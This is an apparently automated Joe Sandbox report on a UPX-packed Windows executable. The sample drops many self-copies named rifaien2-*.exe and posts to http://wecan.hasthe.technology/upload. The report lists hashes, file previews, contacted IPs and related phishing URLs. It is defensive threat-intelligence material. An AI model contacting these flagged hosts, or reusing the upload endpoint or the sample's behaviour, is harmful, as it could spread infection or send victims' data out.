C:\Users\user\Desktop\rifaien2-6R5WtqjpUktSTdyX.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-A57jwvvBTZZBhtF8.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-04RCQxCd2dv0My0K.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-3Yd5eRNryysSeb1S.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-2McOOOA0Nrrao2kH.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-5JMaNQJ1bicgDKr9.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-7tNM8tQoTbkooJnZ.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-DlmIbpKoNTOiCR62.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-9PANsJP5rpGyNZO8.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-A6jVTXjeaWbirx4X.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-BtW7KCBSW9z60IjW.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-AJCcQtfVrsedwKsZ.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-BGQBJ4RqEFRi5PE5.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wecan.hasthe.technology	104.21.59.199	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://wecan.hasthe.technology/upload	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://computernewb.com/collab-vm/=	Yx1Wz608PO.exe, 00000000.00000003.2910707806.000000000080E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://wecan.hasthe.techno	rifaien2-VzjNx1jPI8EBAf3Q.exe.0.dr	false	unknown
https://computernewb.com/collab-vm/H	Yx1Wz608PO.exe, 00000000.00000003.1736593212.000000000080E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://computernewb.com/collab-vm/h	Yx1Wz608PO.exe, 00000000.00000003.1805520266.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1888550938.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1844942781.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1979592108.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1937729048.000000000080E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://computernewb.com/collab-vm/logy	Yx1Wz608PO.exe, 00000000.00000003.2910758923.000000000075D000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1697948033.000000000075D000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000002.2936472491.000000000075D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://computernewb.com/collab-vm/6	Yx1Wz608PO.exe, 00000000.00000003.1960134896.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1825136115.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1907198978.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1867666082.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1785668103.000000000080E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://curl.haxx.se/docs/http-cookies.html#	Yx1Wz608PO.exe	false	unknown
http://wecan.hasthe.technology/uploadcurl_easy_perform()	Yx1Wz608PO.exe, 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmp	false	unknown
https://computernewb.com/collab-vm/	Yx1Wz608PO.exe, 00000000.00000003.1785668103.000000000080E000.00000004.00000020.00020000.00000000.sdmp, ConDrv.0.dr	false	unknown
http://curl.haxx.se/docs/http-cookies.html	Yx1Wz608PO.exe, Yx1Wz608PO.exe, 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.59.199	wecan.hasthe.technology	United States		13335	CLOUDFLARENETUS	true
172.67.183.40	unknown	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531091
Start date and time:	2024-10-10 21:00:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Yx1Wz608PO.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	85a6e921e4d5107d13c1eb8647b130a1d54ba2b6409118be7945fd71c6c8235f
Detection:	MAL
Classification:	mal84.winEXE@2/119@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 43 Number of non-executed functions: 40

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, 6.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.0.3.0.1.3.0.6.2.ip6.arpa, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Yx1Wz608PO.exe

Simulations

Behavior and APIs

Time	Type	Description
15:01:11	API Interceptor	118x Sleep call for process: Yx1Wz608PO.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.59.199	http://20.168.247.101/f/k/001pk120aav1u4179ick~~/OKGXTSC~/NdOzEoToGkMrHEDVFWfVgAaIVoCIaICOMrorFhFmrrEZWhUBeaxkA-jIQTvNveOeGCQXRhDYMQqduqaCkCHkZRLxKhkglZkSBaPtitrQAAAAA	Get hash	malicious	Phisher	Browse
172.67.183.40	https://sheffins.uk/dq.PDF	Get hash	malicious	HTMLPhisher	Browse
	https://sheffins.uk/dq.PDF	Get hash	malicious	HTMLPhisher	Browse
	http://20.168.247.101/f/k/001pk120aav1u4179ick~~/OKGXTSC~/NdOzEoToGkMrHEDVFWfVgAaIVoCIaICOMrorFhFmrrEZWhUBeaxkA-jIQTvNveOeGCQXRhDYMQqduqaCkCHkZRLxKhkglZkSBaPtitrQAAAAA	Get hash	malicious	Phisher	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://anviict.com/?qvtvxymb	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	Play_VM-Now(Eslifka)CLQD.htm	Get hash	malicious	Unknown	Browse	188.114.96.3
	bc3c228ad2c13f96cb14375c3860e802.pdf	Get hash	malicious	Unknown	Browse	1.1.1.1
	Kevin Burrell shared 'Team A Pictures and Presentation' in 'Eric Meyn's Workspace' with you.msg	Get hash	malicious	Unknown	Browse	162.247.243.39
	O1cd60GrHb.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.21.54.168
	original (1).eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	O1cd60GrHb.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.21.54.168
	https://soloist.ai/grcewalm	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://mb3.io/y6jt3ofc	Get hash	malicious	Unknown	Browse	162.247.243.29
	vmsg_0101024.htm	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	https://anviict.com/?qvtvxymb	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	Play_VM-Now(Eslifka)CLQD.htm	Get hash	malicious	Unknown	Browse	188.114.96.3
	bc3c228ad2c13f96cb14375c3860e802.pdf	Get hash	malicious	Unknown	Browse	1.1.1.1
	Kevin Burrell shared 'Team A Pictures and Presentation' in 'Eric Meyn's Workspace' with you.msg	Get hash	malicious	Unknown	Browse	162.247.243.39
	O1cd60GrHb.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.21.54.168
	original (1).eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	O1cd60GrHb.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.21.54.168
	https://soloist.ai/grcewalm	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://mb3.io/y6jt3ofc	Get hash	malicious	Unknown	Browse	162.247.243.29
	vmsg_0101024.htm	Get hash	malicious	Unknown	Browse	188.114.96.3

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691699385765239
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+PK:LJ0TAz6Mte4A+aaZx8EnCGVuP
MD5:	60B63AD4F19457D139C1F4F52AC3AA7F
SHA1:	5B6A8DDC6F6394A7B264B60188ABED166670B3D3
SHA-256:	E116C35F422D47FB1D7D8A8A9EE934BCE6D1A99CF4BA669096B5029ACA9614E6
SHA-512:	9F5660D4616AE07D92EEB714BDC4C0B4C2476CD9BD139063664166035B6D6EFC373A099EC6D5123732D341E4B8FBB923EDBF2C555E2642210E38DEA829441BAE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-0G3Ju1SgiNMbtyyd.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.6915757216744876
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+dK:LJ0TAz6Mte4A+aaZx8EnCGVud
MD5:	CFA64B3A8ACD8EAE74C460D16E01A680
SHA1:	D47FB0DD1DC1FF18E014F4E16E4CECDDFF86A039
SHA-256:	E8A012671E29D0FBAC81259727C28E70BE976A5D9DC6880B9F938B788FE7BC45
SHA-512:	D8F93C278D6FD653E365E055305565A877F750B64F0D4B1450619DE2664CCE08E2BA4E30FC55BC3B37AE9C8E6B299C926CE23A6FF001C980C5BDA048A15D8549
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-0Jvg60acvlNTEetj.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691619222900927
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+gK:LJ0TAz6Mte4A+aaZx8EnCGVug
MD5:	07D5324CF2C6423F728FE598B98133B9
SHA1:	EC08B0101D5C71A338BF9B4236EF290C9FF3891A
SHA-256:	23C25F82EE35070F06EFD1C68281872DA5663C2F2087D47FD02E08D180D43AC9
SHA-512:	846D9C8BA759C114694377F7F6547BFA7DD96CD837C4C1CE08A23D802AE98329E1CD9E34BF0A9D56ABBBC4254BFE5B6A183F69D914BDBFCB684EDD7983C256AD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-1u0hu8IxGgzV53b3.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691671102820119
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+xK:LJ0TAz6Mte4A+aaZx8EnCGVux
MD5:	D8794FE462EA2222B26B7ED24CE1D73A
SHA1:	E4E9C33D7604A75FDF1AE98C338B11A7219A5B76
SHA-256:	4400834CFE8804ED950361FB28A305EB80563D9E0CE33A13A374EDA489A3CAB8
SHA-512:	D1A541E8BADCDCE8A1B4FEC5C633E4629FB145C183DD73B48C1554B8FA2C28A3606BC42456089DBAA2FFD8AB602FCC61D560B1998875ED04B875E1FF28CB9015
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-2McOOOA0Nrrao2kH.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691658480593562
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+7K:LJ0TAz6Mte4A+aaZx8EnCGVu7
MD5:	71E1614840C6D825A18303E18DA2EDFD
SHA1:	15FB28702327E60B92F9F5A38CA517F6EB2B8CC1
SHA-256:	48DC1F367154C9382B3883EF58C73DF56DF377E29FA2D4E7F12BB1FD6F723D22
SHA-512:	5327DAF5EFA54C71F9E1B8BFEE778FD59AFD88926F847C23F33F2CF2242C0ECC3466621DE650060BFE92384FB2C0DE098F9F9CBA0A3803752FA5C1D334FC6F30
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-2ZT16A8KKoDdHefl.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691678371600361
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+XK:LJ0TAz6Mte4A+aaZx8EnCGVuX
MD5:	2ECAEDAD615804680C3BBC8507EDC494
SHA1:	DE67CE954810FD37B5EE765671075C34F3C55ADA
SHA-256:	E6B31B73B4BCB33E52582B59D6677EBCDBA9D2334AD2F6C604926BD754D81165
SHA-512:	9ACCA3C3BFED02F8D466560F6843B6F36E44FD51699C06EEACF89EE1EBF103A18104BDD250762D17EB66BEBEEC6076E75BEECA40D9D6A778DF257149A95E3AC4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-3Yd5eRNryysSeb1S.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691704637950746
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+oK:LJ0TAz6Mte4A+aaZx8EnCGVuo
MD5:	479233F08B650EAC50A334E35E709213
SHA1:	209FB90639EA95A6E2935E0D0535C71C0D6E52DA
SHA-256:	192F3642462B9F14045CFCD1E392704161982E570D007AA057473FD714E9F28F
SHA-512:	DE9D55065BFAFF2F5F0BEBDF4B8785319FEE7952D9CAF4592B52F125D984EAC79504A3E79DF46661A4AD9D6BA35D580C425E34F196386F49455996371B2E6ADB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-3v9iLS8WuKhI5HYt.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691641521060076
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+gK:LJ0TAz6Mte4A+aaZx8EnCGVug
MD5:	C79D42CAAF3DC14D20E27840769EA363
SHA1:	A0F6FF18BD12B7AA7BDD63711DFE1BE5BE8C8BDB
SHA-256:	55697C14C13AD72BA3707790105352D68410AF39ED62555940B06F86BCFFF515
SHA-512:	8B9A0562FEA86AF2559E2B144842CA912206799B1122DBA850FC0313B07F69FCE8BCB228717D97A9CF63431CD4C2627A81CA911F6C77B80ABEBB7B027B63F038
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-4cVt4GKfpP1OEa7u.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.69165489128941
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+uK:LJ0TAz6Mte4A+aaZx8EnCGVuu
MD5:	D4E3185458C8A31811265FCB02C60F43
SHA1:	B751FC1619DB58F8B216A551B4C31283425D874B
SHA-256:	37B767682600442CD6CE3E769C02E42CC07E7F579001976F01FFF0F9627C0266
SHA-512:	4A23A9514D7D7078C88C7233612F00F8E363A98477EBDFB82A89AEA8168347D63B0FF3CBCD04EB27DD3A01FFA9599AFB39B9846C414799D1CBBEAF979CA7452A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-5JMaNQJ1bicgDKr9.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691681472826243
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+1K:LJ0TAz6Mte4A+aaZx8EnCGVu1
MD5:	9097557B839D4A0185FDFBC069829AD7
SHA1:	8007274437D314CC8464977B6DE834B44449A081
SHA-256:	975813B6B97CF65AA77DD64F26BADCA12157985138716522EDEE8CA793892E66
SHA-512:	0B954A36631DD41CCCD09110861816A74254FE66153755F98A48201063F76ACEE19902F0470AB0B0298DDDDA243F6800420E3BFA0C08497A916F6140A4A82645
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-5nuJmBGqOVTVsVLa.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691637565254334
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+mK:LJ0TAz6Mte4A+aaZx8EnCGVum
MD5:	E55A696D5F09E169414C1D8F0A4CA239
SHA1:	02140B0085CAE8C70358FD05B821A834DFC0F458
SHA-256:	09C3A4558B3037526EC5FB825E9BA8C93EF7338898C01B69AB45FA3A4563EFED
SHA-512:	8B062884BE2557D8727BCAF5E20F0CF3AF5D78AF40F8F068D64822C37D1E0BFFD933005DBA1FC7DBDD49EE2C508FE738310F70A7674011A81542D651A07C6219
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-6Q71fxUu8dtMFFZU.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691630426557136
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+1K:LJ0TAz6Mte4A+aaZx8EnCGVu1
MD5:	69C8A6181247142CDBD7832F7D21B2EC
